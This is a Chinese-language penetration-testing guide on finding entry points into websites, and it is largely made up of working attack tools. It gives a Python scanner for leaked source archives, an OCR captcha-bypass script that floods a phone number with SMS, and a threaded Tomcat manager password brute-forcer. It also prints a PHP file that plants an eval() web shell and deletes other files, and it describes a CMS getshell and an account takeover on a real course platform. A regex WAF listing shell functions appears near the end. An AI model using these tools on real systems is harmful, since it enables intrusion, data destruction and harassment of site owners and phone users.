滲透測試思路-尋找入口
滲透測試思路
Another:影子
尋找入口
前言
在做完資訊收集的時候,拿到了一堆自認為很有用的資訊的時候,之後就很迷茫了,怎麼辦,接下來要幹什麼呢?
目錄掃描和敏感檔案掃描
多麼簡單的事情,掃一波目錄,還有敏感檔案
不知道你們有沒有用過挖掘機,我感覺挖掘機最好的地方就是他可以根據域名的不同直接生成域名壓縮包字典
例如:
域名為: www.starsnowsec.cn 挖掘機生成字典為: www.starsnowsec.cn.zip www.starsnowsec.cn.tar starsnowsec.cn.zip .........
就靠這個東西,我到現在掃到了大概三四十個原始碼包
現在網上的大概都是有後門的,或者正版收費的,所以我自己寫了一個
用輪子改了一下,增加了一個生成字典功能
(python寫的不好,狗頭保命)
#coding:utf-8 import requests import sys import re import tldextract wwwtype = [] name = [] dict = [] url = [] wwwname = [] dirs = ["wwwroot.zip","wwwroot.rar","www.rar","www.zip","web.rar","web.zip","db.rar","db.zip","wz.rar","wz.zip","fdsa.rar","fdsa.zip","wangzhan.rar","wangzhan.zip","root.rar","root.zip","admin.rar","admin.zip","data.rar","gg.rar","vip.rar","1.zip","1.rar","2.zip","2.rar","config.rar","config.zip","/config/config.rar","/config/config.zip"] headers = { 'Host': '', 'Cache-Control': 'max-age=0', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.9', 'Cookie': '', 'Connection': 'close', } #生成字典 def createdict(url): url = url.replace('https://','') url = url.replace('http://','') url = url.replace('/','') url = url.replace('\\','') # 一級域名 domain = tldextract.extract(url).domain # 二級域名 subdomain = tldextract.extract(url).subdomain # 字尾 suffix = tldextract.extract(url).suffix # print(u"獲取到的一級域名:{}".format(domain)) # print(u"獲取到二級域名:{}".format(subdomain)) # print(u"獲取到的url字尾:{}".format(suffix)) fd = open( "type.txt", "r" ) for line in fd.readlines(): line = line.replace('\n','') wwwtype.append(line) for i in wwwtype: name.append(domain + '.' + i) name.append(subdomain + '.' + i) name.append(suffix + '.' + i) name.extend(dirs) for i in name: if not i in wwwname: wwwname.append(i) return wwwname #獲取url檔案 def geturl(): #name為檔名 fd = open( "www.txt","r" ) for line in fd.readlines(): line = line.replace('\n','') #獲取url的生成字典 createdict(line) for zip in wwwname: url.append(line + zip) for wwwurl in url: try: r = requests.head(wwwurl,headers=headers,timeout=3) print("[*]URL:" + wwwurl + " Code:" + str(r.status_code)) log = open('log.txt','a+') log.write("[*]URL:" + wwwurl + " Code:" + str(r.status_code) + '\n') log.close() if(r == 200): ret = r.headers print(ret) if 'content-length' in ret.keys(): # if Flase 執行 size = None else: # true的情況下bai執行 size = ret['content-length'] size = int(size) / 1024 if size > 1024: print(TURL+'\n') print('Size: %s KB' %size) success = open('success.txt','a+') success.write("[*]Success! URL:" + wwwurl + " Size:" + str(size) + '\n') success.close() else: print("[*]Not Found in this url:" + wwwurl + '\n') error = open('error.txt','a+') error.write("[*]Not Found in this url:" + wwwurl + '\n') error.close() except: print("[*]Something Wrong!" + wwwurl) geturl()
Tips: 學安全一定要學會寫exp哦!
在目錄下直接新建一個www.txt還有type.txt,然後寫上域名和壓縮包字尾名就可以了,url可以多行哦
利用點
前言
筆者列舉的都是一些容易出現漏洞的地方,可能也不是特別詳細,希望大佬指出
尋找可以利用的地方,去發現可能存在漏洞的地方,比如
搜尋框
可能存在sql注入或者xss漏洞
修改密碼和
修改密碼的地方,之前上網課,咳咳,學安全的不打一下真的感覺對不起自己
用的網課平臺是一個新平臺,就代表存在漏洞的點肯定會不少, 我註冊了一個老師賬號,和一個學生賬號,測試發現,在老師檢視作業,留言的地方存在儲存xss 你們可能會想,儲存xss直接拿cookie 哈哈哈哈隔,我也是這樣想的,然後cookie屬性http-only.... 難受得一批,但是,這麼明顯的漏洞都會存在,肯定也會存在其他的漏洞,然後再修改密碼的地方發現,沒有驗證舊密碼,直接就是新密碼提交,並且沒有csrf-token驗證 嘔吼,配合儲存xss,Csrf+Xss組合拳成功上線教師賬號
這些都是一些容易忽略的地方,但是越是容易忽略的地方越是可能存在漏洞的地方,一般平臺更新新UI的時候,都會吧舊平臺直接放在一邊,沒有刪除,但是根據百度快照一類的都可以找到,然後重現進行利用,畢竟有了新版本,老版本一般不會多做修改,
robots.txt
一定不要忘記,說不定會有驚喜
js檔案爆破
js爆破也不要忘記,很多介面都會存在在js檔案中,可能根據js檔案就能找到網站後臺管理的介面位置,然後順藤摸瓜找到網站後臺管理
burpsuite是一個好幫手,burpsuite不要放過每一個包,有很多開發都是沒有多少安全意識的,或者安全做的並不是特別理想,網站後臺是靠js檔案來判斷Cookie然後是否跳轉到登入頁面,這種操作不能說常見,但是也不少見,一般這種很容易的就能夠認出來,在進入網站登入頁面的時候,直接跳轉到了管理頁面,然後突然跳轉到登入頁面,在這個時候抓包的時候就能夠看到網站管理頁面,或者直接bp將跳轉包Drop掉,或者直接禁用js,但是有一個缺點,可能你管理頁面裡面的功能也沒有辦法使用
留言的地方,看看是否存在Xss拿admin的cookie
檔案上傳
之前看到過好多地方,但是實戰中沒用到過,就是iis和apache的解析漏洞,真的是一次都沒有遇見過,難受的一批,
檔案上傳如果為白名單,一定要先測試一下允許的白名單字尾名為那些字尾名,嘗試00繞過,
黑盒測試的時候,直接bp跑一下fuzz字典,這個時候就體現了fuzz字典的好不好了
程式碼審計
牛逼的大佬都是要會程式碼分析的,搞Web的大佬我感覺應該是要學一些PHP,Java,Python,Asp。。。
CTF裡主流就是PHP(個人感覺),PHP的一些主流框架,TP,Laravel等,和一些CMS審計技巧
Python的Flask等
Java的Struts2等
Asp我在實戰中見過的很少(我確實太lj了,哭~~)
程式碼審計的一些技巧,網上的教程都是有很多的
我見過的程式碼審計文章第一步都是要通讀程式碼,搞清楚程式碼如何運作,是否使用框架開發等,然後白盒測試
之前SXC的公開賽中,有幸參與了命題,為了這個出題,專門審了一個ClassCMS的後臺getshell漏洞(復現和原題在Freebuf公眾號應該都有,Freebuf直接搜尋SXC,或者ClassCMS)
該CMS是一個小眾CMS,配置檔案直接都是存放在GLOBALS全域性變數中,
審計程式碼一般都是從前臺和後臺登入中的sql注入進行
該CMS在每個使用者可控的函式都加了一個escape自定義函式進行過濾
class/cms/cms.php 檔案
該CMS可以使用Mysql連線資料庫也可以使用Sqlite來使用,然後進行判斷全域性變數時安裝選擇的型別進行判斷使用哪種過濾
這個地方就會將上面的地方進行閉合,從而沒有辦法進行sql注入(可能筆者太菜,沒有辦法找到繞過的方法,哭~~~)
然後一些sql注入審計也就沒了希望,前臺功能也非常的少,沒有利用的地方,直接進入後臺找一些檔案上傳,檔案
能夠看到,功能點非常的少,非常難受
但是有個點,商店管理,裡面的一些外掛說不定可以有一些收貨,然後在審計應用商店的程式碼的時候,可以發現,系統直接將使用者傳參過來的值進行curl操作,並解壓
直接檢視/class/shop/shop.php 的第82行
function download($url,$filepath) {
$curl=curl_init();
curl_setopt($curl,CURLOPT_URL,$url);
if(!$fp = @fopen ($filepath,'w+')) {
Return false;
}
curl_setopt($curl,CURLOPT_FILE, $fp);
curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,10);
curl_setopt($curl,CURLOPT_TIMEOUT,300);
curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,FALSE);
curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,FALSE);
$info=curl_exec($curl);
$httpinfo=curl_getinfo($curl);
curl_close($curl);
fclose($fp);
if($httpinfo['http_code']>=300) {@unlink($filepath);Return false;}
Return $info;
}
然後直接在後臺下載應用時,後臺會對介面傳參一個url地址,在傳參時將url地址更改為自己小馬的地址就能夠成功getshell
(SXC的WP出來的時候,ClassCMS的作者大大找過來了,哈哈哈哈哈哈哈哈嗝)
在程式碼審計時候可以使用debug來進行白盒測試,有利於提高效率
也可以使用Seay原始碼審計系統來進行審計,可以自行增加外掛來更好的程式碼審計
懸劍CTF版中推薦的程式碼審計有兩種工具
並且內建了一些程式碼審計資料的整理(愛了愛了)~~
有興趣的大佬可以自行下載嘗試
(大佬說,他們那邊五分鐘審一套原始碼,慕了)
邏輯漏洞
邏輯漏洞這種東西比較籠統一點,通常為業務邏輯漏洞,為開發者程式碼邏輯沒有寫到位
簡訊轟炸
一般這個地方也可以嘗試測一測,也是一個低危,(蚊子再小也是肉)
在簡訊或者郵箱傳送的時候如果存在驗證碼識別,可以通過寫指令碼來實現識別驗證碼來繞過驗證碼實現簡訊郵箱轟炸
#coding:utf-8
from PIL import Image
import time
from selenium import webdriver
import pytesseract
import requests
import re
for i in xrange(1,100):
date = time.strftime("%Y%m%d%H%M%S",time.localtime(time.time()))
url = "https://127.0.0.1/register/register.jsp"
s = requests.session()
r = s.get(url,verify=False)
reg = re.compile(' <img id="vcImage" alt=\'vcImg\' src="(.*?)"')
d = reg.findall(r.text)
print(u"匹配驗證碼地址:")
print (u"https://127.0.0.1/register/" + d[0])
url_1 = u"https://127.0.0.1/register/" + d[0]
r = s.get(url_1,verify=False)
photo = (r.text).encode('latin1','ignore')
if r.status_code==200:
imgname = date + '.jpg'
print(u'下載圖片'+imgname)
with open(imgname, 'wb') as fd:
fd.write(r.content)
print(u"識別驗證碼為:")
print pytesseract.image_to_string(imgname)
code = pytesseract.image_to_string(imgname)
url_2 = "https://127.0.0.1/register/sendPhoneVerifyCode.jsp?mobile_number=18888888888&imgCode=" + code
r = s.post(url_2,verify=False)
print (r.text)
#time.sleep(1)
pass
這是之前在某天專屬挖到的一個簡訊轟炸,這種漏洞就是在介面對手機號是否傳送和傳送時間做驗證,只對驗證碼做了校驗
還有一些可以嘗試增加一些像+86,等的一些來繞過時間或者次數限制
修改密碼和找回密碼
這個地方也經常會存在一些邏輯漏洞
在找回密碼和修改密碼的時候,
SSRF等
重點
只要記住細心就好,任何互動的地方都可能存在漏洞
(
問: 小影子,目標是純靜態網站怎麼辦?
答(內心) : 直接跑到機房物理攻擊
答: 先找到真實IP,然後掃描其他可用的埠,實在不行就換目標,如果目標沒有其他埠可以利用,只存在了一些類似於80,22這兩個埠,可以嘗試爆破以下子域名,因為伺服器可能將域名進行了埠轉發,將本地的某個埠流量轉發到80埠,這個可以在實戰中可以在資訊收集的時候進行,一定要踩好點,這樣前期做了大量準備,到最後才不會突然半途而廢。
)
中介軟體和框架
判斷框架型別
直接目錄報錯,檢視404 或者500的介面,熟悉tp或者laravel的人一眼就能夠看出來是這個框架,一般在報錯的時候,都會有框架的名字,包括二開,換皮的一些產品
大佬寫的TP框架利用工具
之前見過換皮印象最深的一個是,一個網路公司,然後那個公司官網報價我看了,1298RMB
可能也不算特別貴,但是看到內容的時候,嗯,真tm的貴,坑213呢
換的是phpcms_v9的皮
所有報錯頁面都換了,然後後臺登入的地方換了名字,把phpcms_v9換成了他們公司名稱,然後版權所有換成了他們公司,嗯,這可能還沒有辦法直接說他是換皮,說不定是像,然後,登入admin賬戶次數過多還是什麼的時候,蹦出來一個phpcms_v9提示你。。。。。
現在網上這些中介軟體和框架基本每個版本的都是有漏洞的包括一些新版本,TP5.x的一些RCE,TP3.x的日誌檔案,laravel的sql注入,然後再加上大佬的0day,不知道會有多少漏洞
Struts2
然後還有Struts2
==漏洞編號==============影響版本=========================官方公告==========================================影響範圍=====
S2-057 CVE-2018-11776 Struts 2.3 to 2.3.34,Struts 2.5 to 2.5.16 https://cwiki.apache.org/confluence/display/WW/S2-057 影響範圍非常小
S2-048 CVE-2017-9791 Struts 2.3.X http://127.0.0.1:8090/struts2-showcase/integration/saveGangster.action 影響範圍非常小
S2-046 CVE-2017-5638 Struts 2.3.5-2.3.31,Struts 2.5-2.5.10 http://struts.apache.org/docs/s2-046.html 和S2-045一樣
S2-045 CVE-2017-5638 Struts 2.3.5-2.3.31,Struts 2.5-2.5.10 http://struts.apache.org/docs/s2-045.html 影響範圍較大
S2-037 CVE-2016-4438 Struts 2.3.20-2.3.28.1 http://struts.apache.org/docs/s2-037.html 影響範圍小
S2-032 CVE-2016-3081 Struts 2.3.18-2.3.28 http://struts.apache.org/release/2.3.x/docs/s2-032.html 影響範圍小
S2-020 CVE-2014-0094 Struts 2.0.0-2.3.16 http://struts.apache.org/release/2.3.x/docs/s2-020.html 影響範圍小
S2-019 CVE-2013-4316 Struts 2.0.0-2.3.15.1 http://struts.apache.org/release/2.3.x/docs/s2-019.html 影響範圍一般
S2-016 CVE-2013-2251 Struts 2.0.0-2.3.15 http://struts.apache.org/release/2.3.x/docs/s2-016.html 影響範圍非常大
S2-013 CVE-2013-1966 Struts 2.0.0-2.3.14 http://struts.apache.org/release/2.3.x/docs/s2-013.html 未新增,S2-016範圍內
S2-009 CVE-2011-3923 Struts 2.0.0-2.3.1.1 http://struts.apache.org/release/2.3.x/docs/s2-009.html 未新增,S2-016範圍內
S2-005 CVE-2010-1870 Struts 2.0.0-2.1.8.1 http://struts.apache.org/release/2.2.x/docs/s2-005.html 未新增,S2-016範圍內
Tomcat
tomcat的一些反序列化漏洞,和今年HVV爆出的0day漏洞
tomcat的manger的爆破
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import requests
import threading
import Queue
import time
import base64
import os
#headers = {'Content-Type': 'application/x-www-form-urlencoded','User-Agent': 'Googlebot/2.1 (+http://www.googlebot.com/bot.html)'}
u=Queue.Queue()
p=Queue.Queue()
n=Queue.Queue()
#def urllist()
urls=open('url.txt','r')
def urllist():
for url in urls:
url=url.rstrip()
u.put(url)
def namelist():
names=open('name.txt','r')
for name in names:
name=name.rstrip()
n.put(name)
def passlist():
passwds=open('pass.txt','r')
for passwd in passwds:
passwd=passwd.rstrip()
p.put(passwd)
def weakpass(url):
namelist()
while not n.empty():
name =n.get()
#print name
passlist()
while not p.empty():
good()
#name = n.get()
passwd = p.get()
#print passwd
headers = {'Authorization': 'Basic %s==' % (base64.b64encode(name+':'+passwd))}
try:
r =requests.get(url,headers=headers,timeout=3)
#print r.status_code
if r.status_code==200:
print '[turn] ' +url+' '+name+':'+passwd
f = open('good.txt','a+')
f.write(url+' '+name+':'+passwd+'\n')
f.close()
else:
print '[false] ' + url+' '+name+':'+passwd
except:
print '[false] ' + url+' '+name+':'+passwd
def list():
while u.empty():
url = u.get()
weakpass(name,url)
def thread():
urllist()
tsk=[]
for i in open('url.txt').read().split('\n'):
i = i + '/host-manager/html'
t = threading.Thread(target=weakpass,args=(i,))
tsk.append(t)
for t in tsk:
t.start()
t.join(1)
#print "current has %d threads" % (threading.activeCount() - 1)
def good():
good_ = 0
for i in open('good.txt').read().split('\n'):
good_+=1
os.system('title "weakpass------good:%s"' % (good_))
if __name__=="__main__":
# alllist()
thread()
這些中介軟體和框架的漏洞非常多,直接找到中介軟體或者框架的版本,直接exp一把梭,運氣好就穿了
(
問: 小影子,我沒有找到中介軟體或者框架的漏洞的版本怎麼辦?
答: 在檔案頭,readme.txt,或者報錯的地方,都是可能找到版本的地方
問: 小影子,我要是在ctf比賽中考點是一些已經爆出的cve漏洞,但是我並沒有瞭解過,而且比賽現場要斷網怎麼辦?
答: 我最後打的幾次比賽全都有那種已經爆出的CVE中介軟體或者框架漏洞,所有平時都要去收集這些漏洞,這樣線下賽時才不會慌
)
CTF(附加)
CTF線下攪屎
說到了CTF,分享一個迴圈建立shell檔案且刪除除目錄下的所有檔案的php檔案
<?php
/*
* @Author: L3m0n
* @Date: 2015-04-21 20:29:59
* @Last Modified by: Administrator
* @Last Modified time: 2015-04-22 00:59:26
*/
set_time_limit(0);
$a = '<?php eval($_POST[likectflala]);?>';
$self = explode("/",@$_SERVER[PHP_SELF]);
$open = opendir('./');
$num1 = count($self)-1;
//while(1){
if(!file_exists('likectf.php')){
file_put_contents('likectf.php',$a);
}
while($file = readdir($open)){
if($file!=$self[$num1] && $file!='likectf.php'){
@unlink($file);
}
}
//}
echo '<meta http-equiv="refresh" content="0.1">';
?>
AWD WAF
<?php
error_reporting(0);
define('LOG_FILENAME', 'log.txt');
function waf() {
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
//rewirte shell which uploaded by others, you can do more
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}
unset($header['Accept']); //fix a bug
$input = array(
"Get" => $get,
"Post" => $post,
"Cookie" => $cookie,
"File" => $files,
"Header" => $header
);
//deal with
$pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
$pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
$vpattern = explode("|", $pattern);
$bool = false;
foreach ($input as $k => $v) {
foreach ($vpattern as $value) {
foreach ($v as $kk => $vv) {
if (preg_match("/$value/i", $vv)) {
$bool = true;
logging($input);
break;
}
}
if ($bool) break;
}
if ($bool) break;
}
}
function logging($var) {
date_default_timezone_set("Asia/Shanghai");//修正時間為中國準確時間
$time=date("Y-m-d H:i:s");//將時間賦值給變數$time
file_put_contents(LOG_FILENAME, "\r\n\r\n\r\n" . $time . "\r\n" . print_r($var, true) , FILE_APPEND);
// die() or unset($_GET) or unset($_POST) or unset($_COOKIE);
}
waf();
?>
後言
多去Google,百度一類的,大佬們的思路真的很牛啤,一個思路記住了(好記性不如爛筆頭!),以後遇見差不多的情況,都會想到這種騷姿勢,
聽莫天前稽核大佬說,做稽核最好的地方就是能看到許多騷姿勢,有些騷姿勢是真的想不到的。